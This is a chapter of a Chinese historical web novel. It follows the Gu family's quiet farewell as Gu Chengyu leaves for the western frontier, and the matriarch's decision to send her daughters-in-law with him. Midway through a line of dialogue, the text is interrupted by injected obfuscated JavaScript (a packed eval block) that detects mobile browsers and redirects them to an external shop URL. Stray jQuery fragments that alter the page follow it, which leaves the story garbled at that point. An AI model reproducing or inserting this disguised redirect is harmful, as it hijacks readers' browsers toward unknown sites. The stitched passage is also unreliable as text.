西疆战事将起，顾承宇即将出征。此时的顾府，变得安静下来。那些平日里穿梭往来的仆从放轻了脚步，廊下的灯笼被风吹动也不再发出声响，连院子里的槐花落在地上的声音都仿佛清晰可闻。
整座侯府像是被一层看不见的薄纱笼罩着，所有的喧哗都被压在了底下，只剩下一种沉甸甸的、说不出口的牵挂。
顾老夫人跪在佛堂的蒲团上，双手合十，闭着双眼，嘴唇微微翕动。她面前供着一盏长明灯，灯芯在酥油里静静地燃着，火苗纹丝不动。
她在为两个儿子、孙子和顾家军求平安——为远在西疆的顾恩和顾典，为即将奔赴战场的顾承宇，为顾家麾下那千千万万个别人的儿子、别人的丈夫、别人的父亲。
她这一生，送走了丈夫，送走了两个儿子，送走了二孙子，每一次佛前的祈祷都不曾断过，可佛还是收走了她最爱的人。
即便如此，她仍然跪在这里，把能求的都求一遍，把能念的经都念一遍。她相信佛能听见，就像她相信顾家的儿郎，无论走多远，都会回家。
顾大夫人和顾二夫人在各自的房间里，正将早就亲手缝制好的衣衫、鞋履一件一件地叠好，放进行囊中。那些衣裳有春夏的薄衫，有秋冬的厚袄，四个季节的都有——西疆冬春苦寒，她们还为丈夫缝制了护膝和厚袄，膝盖处夹了一层新絮的棉花，领口缝了可以拉起来遮住口鼻的挡风布。这些衣衫的一针一线，皆是一个妻子对戍边丈夫的思念。
顾大夫人缝着缝着，针忽然扎到了手指，一颗血珠冒了出来，她也不觉得疼，只是把手指含在嘴里吮了吮，继续缝。顾二夫人则是把每件衣裳都叠了又叠，抚了又抚，仿佛这样就能把自己的体温也叠进去，让丈夫在苦寒之地也能感受到家的温暖。
顾承宇从宫里回来时，日头已西斜。他先去佛堂，站在门外，隔着半掩的门扉看见祖母跪在蒲团上的背影——那背影挺直，花白的发髻一丝不苟，在长明灯的光晕里镀了一层淡淡的金边。他没有打扰，只是默默地站了片刻，然后转身朝着祠堂走去。
祠堂里，顾家列祖列宗的牌位错落排列。香案上供着四季的瓜果，两侧点着长明灯，灯油快燃尽了，火苗微微晃动。
老侯爷顾稳的牌位在最显眼的位置，那牌位被擦拭得一尘不染，上面的金字依然清晰如初。
老侯爷牌位的两边，分别是二子顾忠、三子顾诚、孙子顾承明的牌位。四块牌位并排而立，像是他们在世时并肩作战的队形。
顾承宇噙着泪水走近牌位，脚步很轻，像是怕打扰了那些安息的英魂。
他伸出手，指尖轻轻地抚过祖父的牌位、二叔的牌位、三叔的牌位，最后停在弟弟顾承明的牌位上，摩挲着那块冰凉的黑木。
此时此刻，有千言万语冲击着胸腔——他想说，他记得祖父教他握剑时那双粗糙的手，记得二叔教他骑马时永远站在马头旁边护着的身影，记得三叔每次打猎归来给他带的野兔，记得承明跟在他身后冲锋时大喊的那一声“哥，我不怕”。
可是他知道，祖父、二叔、三叔和弟弟不想听这些。他们不想听他说想念，不想听他说愧疚——他当年答应母亲把弟弟平安带回来，却只带回来一副铠甲。他们只想听到凯旋的战歌。
他拿起三炷香，在长明灯上点燃，恭恭敬敬地插进香炉，青烟袅袅升起，在牌位前缭绕不散。然后他跪在地上，对着列祖列宗的牌位磕了三个响头，额头触地的声音在空旷的祠堂里回响，一下，两下，三下。随后，他起身，用袖子擦了一下眼角，转身朝着伙房走去。
伙房里，顾大夫人两臂绑着襻膊，正在灶台前做菜。她炒菜的动作不急不缓，锅铲与铁锅碰撞的声音在安静的午后格外清晰。灶台上已经摆了好几道菜——清蒸鱼、葱爆羊肉……都是承宇从小就爱吃的。
顾承宇靠在门框上，双手环抱在胸前，静静地看着母亲。他没有开口说话，母亲也没有回头，仿佛都不知道彼此的存在。可那锅里翻炒的每一下，那火候掌控的每一分，都是一个母亲能给的最后的陪伴。菜快出锅时，他悄悄地退了出去，没有让母亲发现自己来过。
一辆马车停在顾府门口。散学的顾子衿、顾子佩、顾承泽下车，踏进了门，来到前厅。他们都知道明日大哥便要出征，今天这一顿饭，是送行宴。
前厅里，顾老夫人坐在上位，顾大夫人和顾二夫人分列两旁，顾承宇紧挨着母亲坐着。桌上的菜满满当当，都是顾大夫人和顾二夫人亲手做的，每一道都冒着热气。
顾子衿、顾子佩和顾承泽的眼睛一进门就红了。顾子衿咬着嘴唇，低着头，不肯让眼泪掉下来。顾承泽攥着拳头，使劲眨了眨眼睛，假装是被风吹的。顾子佩的眼眶已经蓄满了水，只是今天她格外安静，什么话都没有说。
顾老夫人看了他们一眼，声音平静而慈祥，打破了那几乎要溢出来的伤感：“还不赶紧坐下，好好陪陪你们大哥。”
顾子衿三人坐下。饭桌上，没有伤感的话，也没有祝福的话，全是四个人小时候的糗事——顾承宇五岁时爬树掏鸟窝被老侯爷罚站，顾子衿三岁时跟在他后面学骑马结果被马尾巴扫了一脸，顾承泽六岁时偷穿顾承宇的铠甲结果被压得站不起来，顾子佩刚学会走路时追在大哥身后喊“哥哥抱”结果摔了个嘴啃泥。大家一边笑一边说着，仿佛忘记了明日的离别。仿佛只要不说出“保重”和“平安”，离别就不会真正到来。
夜晚的松鹤堂里，灯火依旧亮着。顾老夫人坐在外间的太师椅上。她在等待两个儿媳妇的到来。
顾家家风清正，兄友弟恭，妯娌和睦，这都是顾老夫人几十年如一日教育的结果。
她对两个儿子一视同仁——顾恩和顾典，一个是大将军，一个是偏将，可在她眼里都是儿子；对两个儿媳妇和几个孙子孙女都是一碗水端平，从不偏袒哪一个，也从不冷落哪一个。
烛火摇曳着，照在她脸上的皱纹里，那些皱纹像是被岁月用刀一笔一笔刻出来的，每一道都藏着一个故事。她今晚临时做了个决定——让两个儿媳妇明日随承宇一同去西疆。
过了一会儿，顾大夫人和顾二夫人踏进了外间。两人走得很轻，走到婆母面前，恭敬地行了一礼。她们对视了一眼，眼里都有疑问——这么晚了，母亲单独叫她们来，是为了什么？
顾老夫人看着两个儿媳妇，嘴角勾起了笑容。她的目光在两张脸上逐一停了片刻——大儿媳温婉内敛，二儿媳活泼爽利，两个都是她亲自挑选、三媒六聘求娶回来的顾家媳妇。
她缓缓开口，声音里带着几分感慨：“顾家真是有幸，得了你们两位贤惠的儿媳妇。这些年，你们一个送走了承明，一个日夜惦着典儿，却从不在人前落泪。我这个做婆母的，都看在眼里。”
顾大夫人和顾二夫人赶紧低下头，分别说了一些谦逊的话——大夫人说“这是儿媳分内的事”，二夫人说“有母亲在，我们才有主心骨”。
顾老夫人接着说道：“恩儿和典儿还是两年前回来过。那一次是因为老侯爷的忌日，兄弟俩赶了千里路，也只是在府里待了十天，便又起身返回西疆。他们没有妾室，远在边关，身边没有一个贴心照顾的人——衣裳破了没人补，生了病没人守在床边，冬日里营帐冷得像冰窖，喝口热水都是奢望。他们不仅要费神对付敌人，夜晚里还要一个人熬过那孤寂的日子，只有风声和远处的狼嚎作伴。”
她顿了顿，目光在两个儿媳妇脸上缓缓扫过，“你们呢，也辛苦。白日里忙着教育儿女，管理府中的事务——大大小小的账目要看，仆人们的事要管，孩子们的功课要问，府外的应酬也要去。可到了夜晚，你们都和我这把老骨头一样，在想念远方的丈夫吧。”
顾大夫人和顾二夫人听了，都没有说话。她们低垂着头，可那微微颤抖的睫毛和攥紧了的袖口已经出卖了她们。
的确，她们每晚都在思念远方的丈夫。顾大夫人总是站在院子里，望着西边的那颗星出神，一站就是大半个时辰。
顾二夫人则是在睡前反复翻看顾典寄回来的信——那信她已经看了几百遍，纸张都磨出了毛边，可还是舍不得放下。
她们都希望自己的丈夫能够陪在身边，能够平平安安的，能够在冷的时候有人添衣，累的时候有人说句话。可是每次想到丈夫们还要多久才能回来，她们就不敢往下想了。
顾老夫人站起来，走到两个儿媳妇面前，伸手拉住了她们的手。她的手干燥而温暖，布满了皱纹——那是一个撑了一辈子家的女人的手。她说：“赶紧准备着，明早与承宇一起出发。”
顾大夫人和顾二夫人听了，猛地抬起头，倍感震惊，几乎不敢相信自己的耳朵。她们对视了一眼，又同时看向婆母，以为自己听错了。三年前她们也曾提过想去西疆，可顾老夫人说路上太远太苦，没有允。
顾老夫人看着她们那震惊的模样，故意板起脸问：“怎么，不想去找你们的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618721|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夫君？”
顾大夫人和顾二夫人没有回答——她们被这突如其来的恩典惊得忘了回答。
顾老夫人松开她们的手，缓缓坐回太师椅上，淡淡地说了一句：“不去就算了吧。”
顾二夫人率先回过神来。她一个箭步冲上前，双手紧紧拉住婆母的手，急切地说道：“母亲，母亲——儿媳去，儿媳当然要去！我这就回去收拾东西，不，我已经收拾好了——那些衣裳鞋袜本来就打算让人捎去的，现在我自己带去！”她说着，眼圈已经红了，声音有些发抖。二十几岁的人了，此刻却像个被准许出门的小姑娘。
顾老夫人抬起头，看着安静站在一旁的顾大夫人，轻声问道：“怎么，你不想去？”
顾大夫人较为内敛，她的心里早就翻江倒海了，可面上还是忍着。她温声说道：“母亲，我与弟妹都去了，这府里的重担就全都落在您一个人的身上了。您年事已高，身体又不比从前，儿媳怎能在这个时候离开呢。还是让弟妹去吧，我留在府里伺候您。”
顾老夫人伸出手，拉住了顾大夫人的手。她的手微微发颤，眼里突然含满了泪水，那泪水在烛光下闪着光，却没有掉下来。
她的声音比方才低沉了许多，带着一种只有母亲才有的疼惜：“让你去你就去。明儿在那里躺了四年了——你总得去看看他，知道他坟墓的位置，知道他站在什么方向吧。他这个做儿子的没能回来见你最后一面，你这个做娘的，总要去看看他埋在哪里，让他知道你从来没有怪过他。”她顿了顿，抬起另一只手覆在顾大夫人的手背上，把她的手紧紧包在两掌之间，“这府里有我呢。我虽然老了，骨头还硬朗。再说了，承宇留下了暗卫，你就放心去吧。去告诉明儿，祖母也想他。”
听了此话，顾大夫人再也绷不住了。泪水从眼眶里滚落而下，一颗接一颗，落在衣襟上，落在婆母的手背上。
四年来，她从不在人前哭——承明阵亡的消息传来时，她只是把自己关在房里一夜，第二天便像什么都没发生过一样操持家务。可此刻婆母提起明儿的坟墓，她心里那堵墙终于塌了。
她紧紧抓着胸口，衣襟被抓出了深深的褶皱，声音哽咽而破碎：“母亲——儿媳去，儿媳去。我要去看看明儿，我要去告诉他，我从来没有怪过他，我每天都想他。”
顾老夫人伸出手，温柔地替顾大夫人擦去脸上的泪水，那动作轻柔得像在擦一个孩子脸上的泪痕。
然后她转过身，看着顾二夫人，换上了一副严肃的表情，语气不容置喙：“我可告诉你——你是带着任务而去的。这次回来，你不带三个孩子回来，你就不要进顾家的门了。顾家的人丁需要兴旺，你和典儿还年轻，是咱们顾家开枝散叶的希望。”
顾二夫人一听，脸微微红了，却毫不扭捏地拍着胸脯说道：“母亲放心，儿媳空手而去，一定满载而归！不过——”她眼珠一转，伸出一根手指算了算，“三个孩子，就是一年生一个，也得三年啊！儿媳可没有宋夫人那样的福气，一次能生俩。大嫂也有福气，承宇和承明也是双生子，可惜承明……”
顾老夫人打断了她，语气里带着几分老小孩的倔强：“反正我不管，你就是想办法也得生三个回来。我年纪大了，想过几年儿孙绕膝的热闹日子，就指望你了。”
顾二夫人赶紧连声答应：“好好好，我生两个，大嫂生一个——这样刚好三个。”
刚刚停止哭泣的顾大夫人被二夫人这没遮没拦的话闹了个红脸，嗔道：“我年纪大了，怎么还能生孩子？”
顾老夫人听了就不高兴了，板起脸来，语气却满是慈爱与笃定：“你也才三十五岁，哪里不能生？你看洪楚离他娘，四十了还生了一个闺女呢，母女平安，满月酒我还去吃了。反正我不管——老大媳妇带一个回来，老二媳妇带两个回来。我这当娘的，就指望你们了。”
一旁负责照顾顾老夫人的老嬷嬷听了这话，忍不住抿起嘴角偷偷笑了起来。烛火跳了跳，满室暖黄的光晕里，三个女人的身影靠在一起，笑声和哭声交织成了顾府这个夜晚最温柔的声音。
这一夜，顾大夫人并未睡觉。她在小厨房里忙碌了一整夜，给已经长眠的儿子做他最喜欢吃的千层糕。和面，调馅，上笼，每一个步骤都做得极慢极认真，像是在用这最后的仪式与儿子说再见——不，不是再见，是“娘来看你了”。蒸笼里冒出的白气在夜空中袅袅升起，混着桂花和糯米的清香，飘出了很远很远。